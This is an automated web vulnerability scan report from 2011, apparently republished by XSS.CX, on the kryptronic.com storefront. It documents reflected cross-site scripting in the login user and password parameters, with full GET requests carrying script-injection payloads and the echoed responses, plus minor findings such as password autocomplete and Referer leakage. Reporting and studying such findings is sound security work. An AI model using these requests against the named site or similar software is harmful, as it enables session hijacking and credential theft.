XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, kryptronic.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Wed Apr 27 16:31:11 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. https://www.kryptronic.com/index.php [core--login--password parameter]

1.2. https://www.kryptronic.com/index.php [core--login--user parameter]

2. Password field with autocomplete enabled

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Cacheable HTTPS response

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.kryptronic.com/index.php [core--login--password parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /index.php

Issue detail

The value of the core--login--password request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2bb09"><script>alert(1)</script>1108a4f06aaefe0aa was submitted in the core--login--password parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /index.php?sid=jvvn13b9610410062708586152403764&app=ecom&ns=login_proc&coactive=1&core--login--user=%0d&core--login--password=%0d2bb09%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e1108a4f06aaefe0aa HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
Referer: https://www.kryptronic.com/index.php?app=ecom&ns=checkoutfn&sid=jvvn13b9610410062708586152403764&portrelay=1
Cache-Control: max-age=0
Origin: https://www.kryptronic.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.15.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:28:22 GMT
Server: Apache
Pragma: no-cache
Cache-Control: must-revalidate
Expires: Wed, 27 Apr 2011 20:28:22 GMT
Content-Length: 27740
Last-Modified: Wed, 27 Apr 2011 21:28:22 GMT
X-Powered-By: Kryptronic/7.1.0
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-ty
...[SNIP]...
<input class="formfield" type="password" name="core--login--password" id="core--login--password" value="2bb09"><script>alert(1)</script>1108a4f06aaefe0aa" size="25" maxlength="150" />
...[SNIP]...

1.2. https://www.kryptronic.com/index.php [core--login--user parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /index.php

Issue detail

The value of the core--login--user request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90215"><script>alert(1)</script>a92c57e96622f2b8e was submitted in the core--login--user parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /index.php?sid=jvvn13b9610410062708586152403764&app=ecom&ns=login_proc&coactive=1&core--login--user=%0d90215%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ea92c57e96622f2b8e&core--login--password=%0d HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
Referer: https://www.kryptronic.com/index.php?app=ecom&ns=checkoutfn&sid=jvvn13b9610410062708586152403764&portrelay=1
Cache-Control: max-age=0
Origin: https://www.kryptronic.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.15.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:28:05 GMT
Server: Apache
Pragma: no-cache
Cache-Control: must-revalidate
Expires: Wed, 27 Apr 2011 20:28:06 GMT
Content-Length: 27848
Last-Modified: Wed, 27 Apr 2011 21:28:06 GMT
X-Powered-By: Kryptronic/7.1.0
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-ty
...[SNIP]...
<input class="formfield" type="text" name="core--login--user" id="core--login--user" value="90215"><script>alert(1)</script>a92c57e96622f2b8e" size="25" maxlength="150" />
...[SNIP]...

2. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /index.php?app=cms&ns=login&sid=jvvn13b9610410062708586152403764&portrelay=1 HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.2.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:20:19 GMT
Server: Apache
Pragma: no-cache
Cache-Control: must-revalidate
Expires: Wed, 27 Apr 2011 20:20:20 GMT
Content-Length: 26731
Last-Modified: Wed, 27 Apr 2011 21:20:20 GMT
X-Powered-By: Kryptronic/7.1.0
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-ty
...[SNIP]...
</p>

<form action="https://www.kryptronic.com/index.php" method="post" id="core--login">


<p class="hidden">
...[SNIP]...
</p>
<input class="formfield" type="password" name="core--login--password" id="core--login--password" value="" size="25" maxlength="150" />

</fieldset>
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /index.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /index.php?app=cms&ns=login&sid=jvvn13b9610410062708586152403764&portrelay=1 HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.2.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:20:19 GMT
Server: Apache
Pragma: no-cache
Cache-Control: must-revalidate
Expires: Wed, 27 Apr 2011 20:20:20 GMT
Content-Length: 26731
Last-Modified: Wed, 27 Apr 2011 21:20:20 GMT
X-Powered-By: Kryptronic/7.1.0
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-ty
...[SNIP]...
<link rel="stylesheet" type="text/css" media="all" href="skins/KRYPTRONIC/css/all.css" />

<script type="text/javascript" src="https://ssl.google-analytics.com/ga.js"></script>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /index.php

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index.php?app=cms&ns=login&sid=jvvn13b9610410062708586152403764&portrelay=1 HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.2.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:20:19 GMT
Server: Apache
Pragma: no-cache
Cache-Control: must-revalidate
Expires: Wed, 27 Apr 2011 20:20:20 GMT
Content-Length: 26731
Last-Modified: Wed, 27 Apr 2011 21:20:20 GMT
X-Powered-By: Kryptronic/7.1.0
Connection: close
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-ty
...[SNIP]...
<link rel="stylesheet" type="text/css" media="all" href="skins/KRYPTRONIC/css/all.css" />

<script type="text/javascript" src="https://ssl.google-analytics.com/ga.js"></script>
...[SNIP]...

5. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.kryptronic.com
Path:   /favicon.ico

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /favicon.ico HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.5.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:20:29 GMT
Server: Apache
Last-Modified: Wed, 27 Aug 2008 18:50:17 GMT
ETag: "57e-7dcd8c40"
Accept-Ranges: bytes
Content-Length: 1406
Connection: close
Content-Type: text/plain

..............h.......(....... .........................................f......vX.......t..T...z\...........y..^:..kJ.............._<..\8...............................................................
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://www.kryptronic.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.kryptronic.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sid=jvvn13b9610410062708586152403764; __utmz=106393177.1303939152.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=106393177.22212080.1303939152.1303939152.1303939152.1; __utmc=106393177; __utmb=106393177.5.10.1303939152

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:20:29 GMT
Server: Apache
Last-Modified: Wed, 27 Aug 2008 18:50:17 GMT
ETag: "57e-7dcd8c40"
Accept-Ranges: bytes
Content-Length: 1406
Connection: close
Content-Type: text/plain

..............h.......(....... .........................................f......vX.......t..T...z\...........y..^:..kJ.............._<..\8...............................................................
...[SNIP]...

Report generated by XSS.CX at Wed Apr 27 16:31:11 CDT 2011.